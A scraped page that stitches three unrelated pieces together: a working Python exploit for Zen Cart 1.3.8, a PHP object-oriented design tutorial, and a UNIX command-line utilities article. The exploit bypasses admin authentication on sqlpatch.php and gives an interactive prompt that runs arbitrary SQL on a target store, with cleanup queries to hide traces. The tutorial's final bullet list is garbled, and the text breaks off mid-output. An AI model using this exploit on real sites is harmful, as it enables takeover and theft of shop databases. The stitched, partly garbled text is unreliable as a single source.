GO IT WORLD | IT TECH | IT NEWS

# ——- Zen Cart 1.3.8 Remote SQL Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce – putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#

#!/usr/bin/python
# Notes: must have admin/sqlpatch.php enabled
#
# clean the database :
#    DELETE FROM `record_company_info` WHERE `record_company_id` = (SELECT `record_company_id` FROM `record_company` WHERE `record_company_image` = '8d317.php' LIMIT 1);
#    DELETE FROM `record_company` WHERE `record_company_image` = '8d317.php';
 
import urllib, urllib2, re, sys
 
a,b = sys.argv,0
 
def option(name, need = 0):
    global a, b
    for param in sys.argv:
        if(param == '-'+name): return str(sys.argv[b+1])
        b = b + 1
    if(need):
        print '\n#error', "-"+name, 'parameter required'
        exit(1)
 
if (len(sys.argv) < 2):
    print """
=____________ Zen Cart 1.3.8 Remote SQL Execution Exploit  ____________=
========================================================================
|                  BlackH <Bl4ck.H@gmail.com>                          |
========================================================================
|                                                                      |
| $system> python """+sys.argv[0]+""" -url <url>                                 |
| Param: &lt;url&gt;      ex: <a href="http://victim.com/site">http://victim.com/site</a> (no slash)              |
|                                                                      |
| Note: blind "injection"                                              |
========================================================================
    """
    exit(1)
url, trick = option('url', 1), "/password_forgotten.php"
 
while True:
    cmd = raw_input('sql@jah$ ')
    if (cmd == "exit"): exit(1)
    req = urllib2.Request(url+"/admin/sqlpatch.php"+trick+"?action=execute", urllib.urlencode({'query_string' : cmd}))
    if (re.findall('1 statements processed',urllib2.urlopen(req).read())):
        print '&gt;&gt; success (', cmd, ")"
    else:
        print '&gt;&gt; failed, be sure to end with ; (', cmd, ")"

In the early days of PHP programming, PHP code was limited to being procedural in nature. Procedural code is characterized by the use of procedures for the building blocks of the application. Procedures offer a certain level of reuse by allowing procedures to be called by other procedures.

However, without object-oriented language constructs, a programmer can still introduce OO characteristics into PHP code. It’s a tad more difficult and can make the code more difficult to read because it’s mixing paradigms (procedural language with pseudo-OO design). OO constructs in PHP code — such as the ability to define and use classes, the ability to build relationships between classes that use inheritance, and the ability to define interfaces — make it much easier to build code that adheres to good OO practices.

While purely procedural designs without much modularity run just fine, the advantages of OO design show up in the maintenance. Because a typical application will spend the bulk of its lifetime in maintenance, code maintenance is a large expense over the lifetime of an application. It can also be easily forgotten during development. If you’re in a race to get your application developed and deployed, long-term maintainability can take a back seat to getting something to work.

Modularity — one of the key characteristics of good OO design — helps with this maintenance. Modularity helps encapsulate change, which will make it easier to extend and modify the application over time.

While there are more than seven habits to building OO software overall, the seven habits here are what you need to make your code fit basic OO design criteria. They give you a firm foundation upon which you can add more OO habits and build software that is easily maintained and extended. These habits target a couple of the key characteristics of modularity. For more information about the benefits of OO design that are language-independent, see Resources.

The seven good PHP OO habits are:

1. Be modest.
2. Be a good neighbor.
3. Avoid looking at Medusa.
4. Embrace the weakest link.
5. You’re rubber; I’m glue.
6. Keep it in the family.
7. Think in patterns.

Be modest

To be modest is to avoid exposing yourself in your implementations of classes and functions. Hiding your information is a foundational habit. You will have a difficult time building any of the other habits until you have developed the habit of hiding the details of your implementations. Information-hiding is also known as encapsulation.

There are many reasons why exposing public fields directly is a bad habit, the most important of which is that it leaves you with no options should something in your implementation change. You use OO concepts to isolate change, and encapsulation plays an integral role in making sure that any changes you make aren’t viral in nature. Viral changes are those that start small — like changing an array that holds three elements to one that contains only two. Suddenly, you find that you’re changing more and more of your code to accommodate a change that should have been trivial.

One simple way to begin hiding your information is to keep fields private and to expose them with public accessors, which are like windows in your house. Instead of having an entire wall open to the outside, you have only a window or two. (I talk more about accessors in "Good habit: Use public accessors.")

In addition to allowing your implementation behind the curtain to change, using public accessors instead of directly exposing fields allows you to build upon your base implementation by overriding the implementation of an accessor to do something slightly different from the behavior of the parent. It also allows you to build an abstract implementation that defers the actual implementation to classes that override the base.

Bad habit: Expose public fields

In the bad code example in Listing 1, the fields of the Person object are exposed directly as public fields instead of with accessors. While this behavior is tempting, especially for lightweight data objects, it limits you.

Listing 1. Bad habit of exposing public fields

<?php
class Person
{
    public $prefix;
    public $givenName;
    public $familyName;
    public $suffix;
}

$person = new Person();
$person->prefix = "Mr.";
$person->givenName = "John";

echo($person->prefix);
echo($person->givenName);

?>

If anything changes with the object, any code that uses it needs to change as well. For instance, if the person’s given, family, and other names were to be encapsulated in a PersonName object, you would need to modify all your code to accommodate the change.

Good habit: Use public accessors

By using good OO habits (see Listing 2), the same object now has private fields instead of public fields, and the private fields are carefully exposed to the outside world by public get and set methods, called accessors. These accessors now provide a public way of getting information from your PHP class so that if something in your implementation changes, the likelihood is lessened that you need to change all the code that uses your class.

Listing 2. Good habit of using public accessors

<?php
class Person
{
    private $prefix;
    private $givenName;
    private $familyName;
    private $suffix;

    public function setPrefix($prefix)
    {
        $this->prefix = $prefix;
    }

    public function getPrefix()
    {
        return $this->prefix;
    }

    public function setGivenName($gn)
    {
        $this->givenName = $gn;
    }

    public function getGivenName()
    {
        return $this->givenName;
    }

    public function setFamilyName($fn)
    {
        $this->familyName = $fn;
    }

    public function getFamilyName()
    {
        return $this->familyName;
    }

    public function setSuffix($suffix)
    {
        $this->suffix = $suffix;
    }

    public function getSuffix()
    {
        return $suffix;
    }

}

$person = new Person();
$person->setPrefix("Mr.");
$person->setGivenName("John");

echo($person->getPrefix());
echo($person->getGivenName());

?>

At first glance, this may seem like a lot more work, and it may actually be more work on the front end. Typically, however, using good OO habits pays off in the long run, as future changes are greatly solidified.

In the version of the code shown in Listing 3, I’ve changed the internal implementation to use an associative array for the name parts. Ideally, I’d have more error handling and would be more careful with checking whether the element exists, but the purpose of this example is to show how the code using my class doesn’t need to change — it is blissfully unaware of my class changes. Remember that the reason for adopting OO habits is to carefully encapsulate change so your code is more extensible and maintainable.

Listing 3. Another twist on this good habit with a different internal implementation

<?php
class Person
{
    private $personName = array();

    public function setPrefix($prefix)
    {
        $this->personName['prefix'] = $prefix;
    }

    public function getPrefix()
    {
        return $this->personName['prefix'];
    }

    public function setGivenName($gn)
    {
        $this->personName['givenName'] = $gn;
    }

    public function getGivenName()
    {
        return $this->personName['givenName'];
    }

    /* etc... */
}

/*
 * Even though the internal implementation changed, the code here stays exactly
 * the same. The change has been encapsulated only to the Person class.
 */
$person = new Person();
$person->setPrefix("Mr.");
$person->setGivenName("John");

echo($person->getPrefix());
echo($person->getGivenName());

?>

Be a good neighbor

When you build a class, it should handle its own errors appropriately. If the class doesn’t know how to handle the errors, it should package them in a format that its caller understands. In addition, avoid returning objects that are null or in an invalid state. Many times, you can do this simply by verifying arguments and throwing specific exceptions that tell why the supplied arguments are invalid. When you build this habit, it can save you — and people maintaining your code or using your objects — a lot of time.

Bad habit: Not handling errors

Consider the example shown in Listing 4, which accepts some arguments and returns a Person object with some of the values populated. However, in the parsePersonName() method, there is no validation to see whether the supplied $val variable is null, a zero-length string or perhaps a string in a unparsable format. The parsePersonName() method does not return a Person object, but returns null. Administrators or programmers using this method might be left scratching their heads and — at the very least — be in a place where they need to start setting breakpoints and debugging the PHP script.

Listing 4. Bad habit of not throwing or handling errors

class PersonUtils
{
    public static function parsePersonName($format, $val)
    {
        if (strpos(",", $val) > 0) {
            $person = new Person();
            $parts = split(",", $val); // Assume the value is last, first
            $person->setGivenName($parts[1]);
            $person->setFamilyName($parts[0]);
        }
        return $person;
    }
}

The parsePersonName() method in Listing 4 could be modified to initialize the Person object outside the if condition, ensuring that you always get a valid Person object. However, you get a Person with no set properties, which doesn’t leave you in a much better position.

Good habit: Each module handles its own errors

Instead of leaving your callers guessing, be proactive about validating arguments. If an unset variable can’t produce a valid result, check for the variable and throw an InvalidArgumentException. If the string can’t be empty or must be in a specific format, check for the format and throw an exception. Listing 5 demonstrates how to create your own exceptions, as well as some new conditions in the parsePerson() method that demonstrate some rudimentary validations.

Listing 5. Good habit of throwing errors

<?php
class InvalidPersonNameFormatException extends LogicException {}

class PersonUtils
{
    public static function parsePersonName($format, $val)
    {
        if (! $format) {
            throw new InvalidPersonNameFormatException("Invalid PersonName format.");
        }

        if ((! isset($val)) || strlen($val) == 0) {
            throw new InvalidArgumentException("Must supply a non-null value to parse.");
        }

    }
}
?>

The bottom line is that you want people to be able to use your class without having to know the inner workings of it. If they use it incorrectly or in a way you didn’t intend, they shouldn’t have to guess why it didn’t work. As a good neighbor, you understand that people reusing your class are not psychic, and, therefore, you take the guesswork out.

Avoid looking at Medusa

When I was first learning about OO concepts, I was doubtful that interfaces were really helpful. A colleague of mine drew the analogy that not using interfaces is like looking at the head of Medusa. In Greek mythology, Medusa was a female character with snakes for hair. Any person who looked at her directly turned to stone. Perseus, who killed Medusa, was able to confront her by looking at her reflection in his shield, thus avoiding being turned to stone.

Interfaces are your mirror in dealing with Medusa. When you use a specific, concrete implementation, your code must change if your implementation code changes. Using implementations directly limits many of your options, as you’ve essentially turned your classes to stone.

Bad habit: Not using interfaces

Listing 6 shows an example that loads the Person object from a database. It takes the person’s name and returns the Person object in the database that matches.

Listing 6. Bad habit of not using interfaces

<?php
class DBPersonProvider
{
    public function getPerson($givenName, $familyName)
    {
        /* go to the database, get the person... */
        $person = new Person();
        $person->setPrefix("Mr.");
        $person->setGivenName("John");
        return $person;
    }
}

/* I need to get person data... */
$provider = new DBPersonProvider();
$person = $provider->getPerson("John", "Doe");

echo($person->getPrefix());
echo($person->getGivenName());

?>

The code for loading Person from the database is fine until something changes in the environment. For example, loading Person from the database may be fine for the first version of the application, but for the second version, you may need to add the ability to load a person from a Web service. In essence, the class has turned to stone because it is directly using the implementation class and is now brittle to change.

Good habit: Use interfaces

Listing 7 shows an example of code that does not change as new ways of loading users become available and are implemented. The example shows an interface called PersonProvider, which declares a single method. If any code uses a PersonProvider, the code restrains from using the implementation classes directly. Instead, it uses PersonProvider as if it were a real object.

Listing 7. Good habit of using interfaces

<?php
interface PersonProvider
{
    public function getPerson($givenName, $familyName);
}

class DBPersonProvider implements PersonProvider
{
    public function getPerson($givenName, $familyName)
    {
        /* pretend to go to the database, get the person... */
        $person = new Person();
        $person->setPrefix("Mr.");
        $person->setGivenName("John");
        return $person;
    }
}

class PersonProviderFactory
{
    public static function createProvider($type)
    {
        if ($type == 'database')
        {
            return new DBPersonProvider();
        } else {
            return new NullProvider();
        }
    }
}

$config = 'database';
/* I need to get person data... */
$provider = PersonProviderFactory::createProvider($config);
$person = $provider->getPerson("John", "Doe");

echo($person->getPrefix());
echo($person->getGivenName());
?>

When you use interfaces, try to avoid ever referring to the implementation classes directly. Instead, use something external to your object to give you the correct implementation. If your class loads the implementation based on some logic, it still needs to require the definitions of all the implementation classes, and that doesn’t get you anywhere.

You can use a Factory pattern to create an instance of an implementation class that implements your interface. A factory method, by convention, begins with create and returns the interface. It can take whatever arguments are necessary for your factory to figure out which implementation class is the correct one to return.

In Listing 7, the createProvider() method simply takes a $type. If the $type is set to database, the factory returns an instance of DBPersonProvider. Any new implementation for loading people from a store does not require any changes in the class that uses the factory and interface. The DBPersonProvider implements the PersonProvider interface and has the actual implementation of the getPerson() method in it.

Embrace the weakest link

Loosely coupling your modules is a good thing; it’s one of the properties that allows you to encapsulate change. Two of the other habits — "Be modest" and "Avoid looking at Medusa" — help you work toward building modules that are loosely coupled. To loosely couple your classes, develop the final characteristic by building the habit of lowering the dependencies of your classes.

Bad habit: Tight coupling

In Listing 8, lowering dependencies is not necessarily lowering the dependencies for the client using an object. Rather, the example demonstrates lowering your dependencies on the correct class and minimizing them elsewhere.

Listing 8. Bad habit of tight coupling from Address

<?php

require_once "./AddressFormatters.php";

class Address
{
    private $addressLine1;
    private $addressLine2;
    private $city;
    private $state; // or province...
    private $postalCode;
    private $country;

    public function setAddressLine1($line1)
    {
        $this->addressLine1 = $line1;
    }

		/* accessors, etc... */

    public function getCountry()
    {
        return $this->country;
    }

    public function format($type)
    {
        if ($type == "inline") {
            $formatter = new InlineAddressFormatter();
        } else if ($type == "multiline") {
            $formatter = new MultilineAddressFormatter();
        } else {
            $formatter = new NullAddressFormatter();
        }
        return $formatter->format($this->getAddressLine1(),
            $this->getAddressLine2(),
            $this->getCity(), $this->getState(), $this->getPostalCode(),
            $this->getCountry());
    }
}

$addr = new Address();
$addr->setAddressLine1("123 Any St.");
$addr->setAddressLine2("Ste 200");
$addr->setCity("Anytown");
$addr->setState("AY");
$addr->setPostalCode("55555-0000");
$addr->setCountry("US");

echo($addr->format("multiline"));
echo("\n");

echo($addr->format("inline"));
echo("\n");

?>

The code that calls the format() method on the Address object might look great — all it does is use the Address class, call format(), and it’s done. In contrast, the Address class is not so lucky. It needs to know about the various formatters used to properly format it, which might not make the Address object very reusable for someone else, particularly if that someone else isn’t interested in using the formatter classes in the format() method. Although the code using Address doesn’t have many dependencies, the Address class does have quite a few when it probably should just be a simple data object.

The Address class is tightly coupled with the implementation classes that know how to format the Address object.

Good habit: Loose coupling between objects

When building good OO designs, it’s necessary to think about a concept called Separation of Concerns (SoC). SoC means that you try to separate objects by what they should be really concerned about, thus, lowering the coupling. In the original Address class, it had to be concerned about how to format itself. That’s probably not a good design. Rather, an Address class should think about the parts of the Address, while some type of formatter should worry about how to properly format the address.

In Listing 9, the code that formatted the address is moved to interfaces, implementation classes, and a factory — building the "use interfaces" habit. Now, the AddressFormatUtils class is responsible for creating a formatter and formatting an Address. Any other object now can use an Address without having to worry about also requiring the definitions of the formatters.

Listing 9. Good habit of loose coupling between objects

<?php

interface AddressFormatter
{
    public function format($addressLine1, $addressLine2, $city, $state,
        $postalCode, $country);
}

class MultiLineAddressFormatter implements AddressFormatter
{
    public function format($addressLine1, $addressLine2, $city, $state,
        $postalCode, $country)
    {
        return sprintf("%s\n%s\n%s, %s %s\n%s",
            $addressLine1, $addressLine2, $city, $state, $postalCode, $country);
    }
}

class InlineAddressFormatter implements AddressFormatter
{
    public function format($addressLine1, $addressLine2, $city, $state,
        $postalCode, $country)
    {
        return sprintf("%s %s, %s, %s %s %s",
            $addressLine1, $addressLine2, $city, $state, $postalCode, $country);
    }
}

class AddressFormatUtils
{
    public static function formatAddress($type, $address)
    {
        $formatter = AddressFormatUtils::createAddressFormatter($type);

        return $formatter->format($address->getAddressLine1(),
            $address->getAddressLine2(),
            $address->getCity(), $address->getState(),
            $address->getPostalCode(),
            $address->getCountry());
    }

    private static function createAddressFormatter($type)
    {
        if ($type == "inline") {
            $formatter = new InlineAddressFormatter();
        } else if ($type == "multiline") {
            $formatter = new MultilineAddressFormatter();
        } else {
            $formatter = new NullAddressFormatter();
        }
        return $formatter;
    }
}

$addr = new Address();
$addr->setAddressLine1("123 Any St.");
$addr->setAddressLine2("Ste 200");
$addr->setCity("Anytown");
$addr->setState("AY");
$addr->setPostalCode("55555-0000");
$addr->setCountry("US");

echo(AddressFormatUtils::formatAddress("multiline", $addr));
echo("\n");

echo(AddressFormatUtils::formatAddress("inline", $addr));
echo("\n");
?>

The drawback, of course, is that whenever patterns are used, it often means the amount of artifacts (classes, files) goes up. However, this increase is offset by the decreased maintenance in each class and can be decreased even more when proper reusability is gained.

You’re rubber; I’m glue

Highly cohesive OO designs are focused and organized in related modules. Learning about "concerns" is important in determining how to organize functions and classes to be tightly cohesive.

Bad habit: Low cohesion

When a design has low cohesion, it has classes and methods that are not grouped well. The term spaghetti code is often used to describe classes and methods that are bunched together and have low cohesion. Listing 10 provides an example of spaghetti code. The relatively generic Utils class uses many different objects and has many dependencies. It does a bit of everything, making it difficult to reuse.

Listing 10. Bad habit of low cohesion

<?php

class Utils
{
    public static function formatAddress($formatType, $address1,
        $address2, $city, $state)
    {
        return "some address string";
    }

    public static function formatPersonName($formatType, $givenName,
        $familyName)
    {
        return "some person name";
    }

    public static function parseAddress($formatType, $val)
    {
        // real implementation would set values, etc...
        return new Address();
    }

    public static function parseTelephoneNumber($formatType, $val)
    {
        // real implementation would set values, etc...
        return new TelephoneNumber();
    }
}

?>

Good habit: Embrace high cohesion

High cohesion means that classes and methods that are related to each other are grouped. If methods and classes are highly cohesive, you are able to easily split off entire groups without affecting the design. Designs with high cohesion offer the opportunity for lower coupling. Listing 11 shows two of the methods that are better organized into classes. The AddressUtils class contains methods for dealing with Address classes and shows high cohesion among the address-related methods. Likewise, PersonUtils contains methods that deal specifically with Person objects. These two new classes with their highly cohesive methods have low coupling because they can be used completely independently of one another.

Listing 11. Good habit of high cohesion

<?php

class AddressUtils
{
    public static function formatAddress($formatType, $address1,
        $address2, $city, $state)
    {
        return "some address string";
    }

    public static function parseAddress($formatType, $val)
    {
        // real implementation would set values, etc...
        return new Address();
    }

}

class PersonUtils
{
    public static function formatPersonName($formatType, $givenName,
        $familyName)
    {
        return "some person name";
    }

    public static function parsePersonName($formatType, $val)
    {
        // real implementation would set values, etc...
        return new PersonName();
    }
}

?>

Keep it in the family

I often tell people on the software teams on which I’ve been a technical lead or architect that the greatest enemy of OO languages is a copy-and-paste operation. When used in the absence of an up-front OO design, nothing creates more havoc than copying code from one file to the next. Wherever you’re tempted to copy code from one class to the next, stop and consider how you can use class hierarchies to leverage similar or identical functionality. You will find that in most cases, with good design, copying code is completely unnecessary.

Bad habit: Not using class hierarchies

Listing 12 shows a simple example of partial classes. They start with duplicate fields and methods — not good in the long term when the application might need to change. If there was a defect in the Person class, there would most likely be a defect in the Employee class as well because it appears as though the implementation was copied between the two.

Listing 12. Bad habit of not using hierarchies

<?php
class Person
{
    private $givenName;
    private $familyName;
}

class Employee
{
    private $givenName;
    private $familyName;
}

?>

Inheritance is a difficult habit to start using because often, the analysis to build proper inheritance models can take a lot of time. Conversely, using Ctrl+C and Ctrl+V to build new implementations takes only seconds. But the time is usually offset rather quickly in maintenance, where the application will actually spend most of its time.

Good habit: Leverage inheritance

In Listing 13, the new Employee class extends the Person class. It now inherits all the common methods and doesn’t reimplement them. Additionally, Listing 13 shows the use of an abstract method to demonstrate how basic functionality can be put into a base class and specific functionality can be deterred to an implementation class.

Listing 13. Good habit of leveraging inheritance

<?php
abstract class Person
{
    private $givenName;
    private $familyName;

    public function setGivenName($gn)
    {
        $this->givenName = $gn;
    }

    public function getGivenName()
    {
        return $this->givenName;
    }

    public function setFamilyName($fn)
    {
        $this->familyName = $fn;
    }

    public function getFamilyName()
    {
        return $this->familyName;
    }

    public function sayHello()
    {
        echo("Hello, I am ");
        $this->introduceSelf();
    }

    abstract public function introduceSelf();

}

class Employee extends Person
{
    private $role;

    public function setRole($r)
    {
        $this->role = $r;
    }

    public function getRole()
    {
        return $this->role;
    }

    public function introduceSelf()
    {
        echo($this->getRole() . " " . $this->getGivenName() . " " .
            $this->getFamilyName());
    }
}
?>

Think in patterns

Design patterns are common interactions of objects and methods that have been proven over time to resolve certain problems. When you think in design patterns, you’re forcing yourself to be aware of how classes interact with each other. It’s an easy way to build classes and their interactions without having to make the same mistakes other people have made in the past and to benefit from proven designs.

Bad habit: Consider one object at a time

There is really no adequate code example that demonstrates thinking in patterns (although there are plenty of good examples showing pattern implementations). However, generally speaking, you know you’re considering only one object at a time when the following criteria are met:

• You don’t diagram an object model ahead of time.
• You start coding the implementation of single methods without much of the model stubbed out.
• You don’t use design pattern names when talking and would rather talk about imp
• Model classes and their interactions ahead of time.
• Stereotype classes according to their patterns.
• Use pattern names, like Factory, Singleton, and Facade.
• Stub out large portions of the model, then start adding implementation.
• lementation.

Good habit: Adding objects, in concert, composed in patterns

Generally speaking, you are thinking in patterns when you:

• Model classes and their interactions ahead of time.
• Stereotype classes according to their patterns.
• Use pattern names, like Factory, Singleton, and Facade.
• Stub out large portions of the model, then start adding implementation.

Much like a vernacular, the universe of UNIX tools changes almost perpetually. New tools crop up frequently, while others are eternally modernized and adapted to suit emerging best practices. Certain tools are used commonly; others are used more infrequently. Some tools are perennial; occasionally, some are obsoleted outright. To speak UNIX fluently, you have to keep up with the "lingo."

Table 1 lists 11 of the significant packages previously discussed in the Speaking UNIX series.

Table 1. Prominent UNIX tools

This month, let’s look at 10 more utilities and applications that expand or improve on an existing or better-known UNIX package. The list runs a wide gamut, from a universal archive translator to a high-speed Web server.

In some cases, depending on your flavor of UNIX, you will have to install a new software package. You can build from source as instructed, or you can save time and effort if your package-management software provides an equivalent binary bundle. For example, if you use a Debian flavor of Linux®, many of the utilities mentioned this month can be installed directly using apt-get.

Find a command with apropos

UNIX has so many commands, it is easy to forget the name of a utility—especially if you do not use the tool frequently. If you find yourself scratching your head trying to recall a name, run apropos (or the equivalent man -k). For example, if you’re hunting for a calculator, simply type apropos calculator:

$ apropos calculator
bc (1)        - An arbitrary precision calculator language
dc (1)        - An arbitrary precision calculator

Both bc and dc are command-line calculators.

Each UNIX manual page has a short description, and apropos searches the corpus of descriptions for instances of the specified keyword. The keyword can be a literal, such as calculator, or a regular expression, such as calc*. If you use the latter form, be sure to wrap the expression in quotation marks ("") to prevent the shell from interpreting special characters:

$ apropos "calcu*"
allcm (1)     - force the most important Computer-Modern-fonts to be calculated
allec (1)     - force the most important Computer-Modern-fonts to be calculated
allneeded (1) - force the calculation of all fonts now needed
bc (1)        - An arbitrary precision calculator language
dc (1)        - An arbitrary precision calculator

Run a calculation on the command line

As shown above, dc is a capable calculator found on every UNIX system. If you run dc without arguments, you enter Interactive mode, where you can write and evaluate Reverse Polish Notation (RPN) expressions:

$ dc
5
6
*
10
/
p
3

However, you can do all that work right on the command line. Specify the -e option and provide an expression to evaluate. Again, wrap the expression in quotation marks to prevent interpolation by the shell:

$ dc -e "5 6 * 10 /"
3

Find processes with pgrep

How many times have you hunted for a process with ps aux | grep .... Countless times, probably. Sure, it works, but there is a much more effective way to search for processes. Try pgrep.

As an example, this command finds all instantiations of strike’s login shell, (where strike is the name of a user):

$ pgrep -l -u strike zsh 
10331 zsh
10966 zsh

The pgrep command provides options to filter processes by user name (the -u shown), process group, group, and more. A companion utility, pkill, takes all the options of pgrep and accepts a signal to send to all processes that match the given criteria.

For instance, the command pkill -9 -u strike zsh is the equivalent of pgrep -u strike zsh | xargs kill -9.

Generate secure passwords with pwgen

Virtually every important subsystem in UNIX requires its own password. To wit, e-mail, remote login, and superuser privileges all require a password—preferably disparate and each difficult to guess or derive using an automated attack. Moreover, if you want to develop scripts to generate accounts, you want a reliable source of random, secure passwords.

The pwgen utility is a small utility to generate gobs of passwords. You can tailor the passwords to be memorable or secure, and you can specify whether to include numbers, symbols, vowels, and capital letters.

Many UNIX systems have pwgen. If not, it is simple to build:

$ # As of March 2009, the latest version is 2.06
$ wget http://voxel.dl.sourceforge.net/sourceforge/\
  pwgen/pwgen-2.06.tar.gz
$ tar xzf pwgen-2.06.tar.gz
$ cd pwgen-2.06
$ ./configure && make && sudo make install

Here are some sample uses:

• Print a collection of easy-to-recall passwords:

  $ pwgen -C
  ue2Ahnga Soom0Lu0 Hie8aiph gei9mooD eiXeex7N
  Wid4Ueng taShee3v Ja3shii8 iNg0viSh iegh5ouF
  ...
  zoo8Ahzu Iefev0ch MoVu4Pae goh1Ak6m EiJup5ei 

• Generate a single, secure password:

  $ pwgen -s -1
  oYvy9WWa

• Generate a single, secure password with no ambiguous, or easily confused, characters and at least one non-alphanumeric character:

  $ ./pwgen -s -B -1 -y
  7gEqT_V[

To see all the available options, type pwgen --help.

Watch many files with multitail

Whether you're a developer debugging new code or a systems administrator monitoring a system, you often have to keep an eye on many things at once. If you're a developer, you might watch a debug log and stdout to track down a bug; if you're an administrator, you might want to police activity to intercede as necessary. Usually, both tasks require oodles of windows tiled on screen to keep a watchful eye—perhaps tail in one window, less in another window, and a command prompt in yet another.

If you have to monitor several files at once, consider multitail. As its name implies, this utility divides a console window into multiple sections, one section per log file. Even better, multitail can colorize well-known formats (and you can define custom color schemes, too) and can merge multiple files into a single stream.

To build multitail, download the source, unpack it, and run make. (The options in the distribution's generic makefile should suffice for most UNIX systems. If the make fails, look in the topmost directory for a makefile specific to your system.)

# As this article was written, the latest version of multitail was 5.2.2
$ wget http://www.vanheusden.com/multitail/multitail-5.2.2.tgz
$ tar xzf multitail-5.2.2.tgz
$ cd multitail-5.2.2
$ make
$ sudo make install

Here are some uses of multitail to consider:

• To watch a list of log files in the same window, launch the utility with a list of file names, as in multitail /var/log/apache2/{access,error}.log.
• To watch a pair of files in the same window and buffer everything that's read, use the -I option to merge the named file into another, as in multitail -M 0 /var/log/apache/access.log -I /var/log/apache/error.log. Here, the Apache error log and access log are interlineated. -M 0 records all incoming data; you can see the buffer at any time by pressing the B key.
• You can also mix and match commands and files. To watch a log file and monitor the output of ping, try multitail logfile -l "ping 192.168.1.3". This creates two views in the same console: One view shows the contents of logfile, while the other shows the ongoing output of ping 192.168.1.3.

In addition to command-line options, multitail provides a collection of interactive commands to affect the current state of the display. For instance, press the A key in the display to add a new log file. The B key displays the save buffer. The Q key quits multitail. See the man page for multitail for the complete list of commands.

Compress and extract almost anything with 7zip

Between Windows and UNIX alone, there are dozens of popular archive formats. Windows has long had .zip and .cab, for instance, while UNIX has had .tar, .cpio, and .gzip. UNIX and its variants also employ .rpm, .deb, and .dmg. All these formats are commonly found online, making for something of a Babel of bits.

To save or extract data in any particular format, you could install a bevy of specialized utilities, or you can install 7zip, a kind of universal translator that can compress and extract virtually any archive. Further, 7zip also proffers its own format, featuring a higher compression ratio than any other scheme, gigantic capacity reaching into terabytes, and strong data encryption.

To build 7zip, download the source for p7zip, a port of 7zip to UNIX, from its project page on SourceForge . Unpack the tarball, change to the source directory, and run make. (Like multitail, the generic makefile should suffice; if not, choose from one of the specialized makefiles provided.)

$ wget http://voxel.dl.sourceforge.net/sourceforge/p7zip/\
  p7zip_4.65_src_all.tar.bz2
$ tar xjf p7zip_4.65_src_all.tar.bz2
$ cd p7zip_4.65
$ make
$ sudo make install

The build produces and installs the utility 7za. Type 7za with no arguments to see a list of available commands and options. Each command is a letter—akin to tar—such as a to add a file to the archive and x to extract.

To try the utility, create an archive of the p7zip source itself in a variety of formats, and extract each archive with 7za:

$ zip -r p7.zip p7zip_4.65
$ 7za -ozip x p7.zip
$ tar cvf p7.tar p7zip_4.65
$ 7za -otar x p7.tar
$ bzip2 p7.tar
$ 7za -so x p7.tar.bz2 | tar tf -

In order from top to bottom, 7za extracted a .zip, .tar, and .bz2 archive. In the last command, 7za extracted the .bz2 archive and wrote the output to stdout, where tar decompressed and cataloged the files. Like tar, 7za can be the source or destination of a pipe (|), making it easy to combine with other utilities.

View compressed files with zcat

Per-disk capacity now exceeds a terabyte, but a disk can nonetheless fill up quickly with large data files, lengthy log files, images, and media files such as movies. To conserve space, many files can be compressed to a fraction of their original size. For example, an Apache log file, which is simply text, can shrink to one-tenth of its original size.

Although compression saves disk space, it can add effort. If you need to analyze a compressed Apache log file, for instance, you must decompress it, process the data, then re-compress it. If you have a great number of log files, which is typical if you keep records to establish trends, the overhead can become excessive.

Luckily, the gzip suite includes a number of utilities to process compressed files in situ. The utilities zcat, zgrep, zless, and zdiff, among others, serve the same purpose as cat, grep, less, and diff, respectively, but operate on compressed files.

Here, two source files are compressed with gzip and compared with zdiff:

$ cat old
This
is
Monday.
$ cat new
This
is
Tuesday.
$ gzip old new
$ zdiff -c old.gz new.gz
*** -	2009-03-30 22:26:34.518217647 +0000
--- /tmp/new.10874	2009-03-30 22:26:34.000000000 +0000
***************
*** 1,3 ****
  This
  is
! Monday.
--- 1,3 ----
  This
  is
! Tuesday.

Surf the Web, conquer the Internet, make world peace with cURL

A prior Speaking UNIX column recommended wget to download files directly from the command-line. Ideal for shell scripts, wget is great for those times where you do not have ready access to a Web browser. For example, if you are trying to install new software on a remote server, wget can be a real life-saver.

If you like wget, then you'll love cURL. Like wget, cURL can download files, but it can also post data to a Web page form, upload a file via the File Transfer Protocol (FTP), act as a proxy, set Hypertext Transfer Protocol (HTTP) headers, and a whole lot more. In many ways, cURL is a command-line surrogate for the browser and other clients. Thus, it has many potential applications.

The cURL utility is readily built using the tried-and-true ./configure && make && sudo make install process. Download, extract, and proceed:

$ wget http://curl.haxx.se/download/curl-7.19.4.tar.gz
$ tar xzf curl-7.19.4.tar.gz
$ cd curl-7.19.4
$ ./configure && make && sudo make install

The cURL utility has so many options, it's best to read over its lengthy man page. Here are some common cURL uses:

• To download a file—say, the cURL tarball itself—use:

  $ curl -o curl.tgz http://curl.haxx.se/download/curl-7.19.4.tar.gz

  Unlike wget, cURL emits what it downloads to stdout. Use the -o option to save the download to a named file.

• To download a number of files, you can provide a sequence, a set, or both. A sequence is a range of numbers in brackets ([]); a set is a comma-delimited list in braces ({}). For example, the following command would download all files named parta.html, partb.html, and partc.html from the directories named archive1996/vol1 through archive1999/vol4, inclusive, for a total of 48 files.

  $ curl http://any.org/archive[1996-1999]/vol[1-4]/part{a,b,c}.html \
    -o "archive#1_vol#2_part#3.html"

  When a sequence or set is specified, you can provide the -o option with a template, where #1 is replaced with the current value of the first sequence or set, #2 is a placeholder for the second, and so on. As an alternative you can also provide -O to keep each file name intact.

• To upload a suite of images to a server, use the -T option:

  $ curl -T "img[1-1000].png" ftp://ftp.example.com/upload/

  Here, the glob img[1-1000].png is captured in quotation marks to prevent the shell from interpreting the pattern. This command uploads img1.png through img1000.png to the named server and path.

• You can even use cURL to look up words in the dictionary:

   $ curl dict://dict.org/d:stalwart
  220 miranda.org dictd 1.9.15/rf on Linux 2.6.26-bpo.1-686
      <auth.mime> <400549.18119.1238445667@miranda.org>
  250 ok
  150 1 definitions retrieved
  151 "Stalwart" gcide "The Collaborative International Dictionary of English v.0.48"
  Stalwart \Stal"wart\ (st[o^]l"w[~e]rt or st[add]l"-; 277),
  Stalworth \Stal"worth\ (-w[~e]rth), a. [OE. stalworth, AS.
     staelwyr[eth] serviceable, probably originally, good at
     stealing, or worth stealing or taking, and afterwards
     extended to other causes of estimation. See {Steal}, v. t.,
     {Worth}, a.]
     Brave; bold; strong; redoubted; daring; vehement; violent. "A
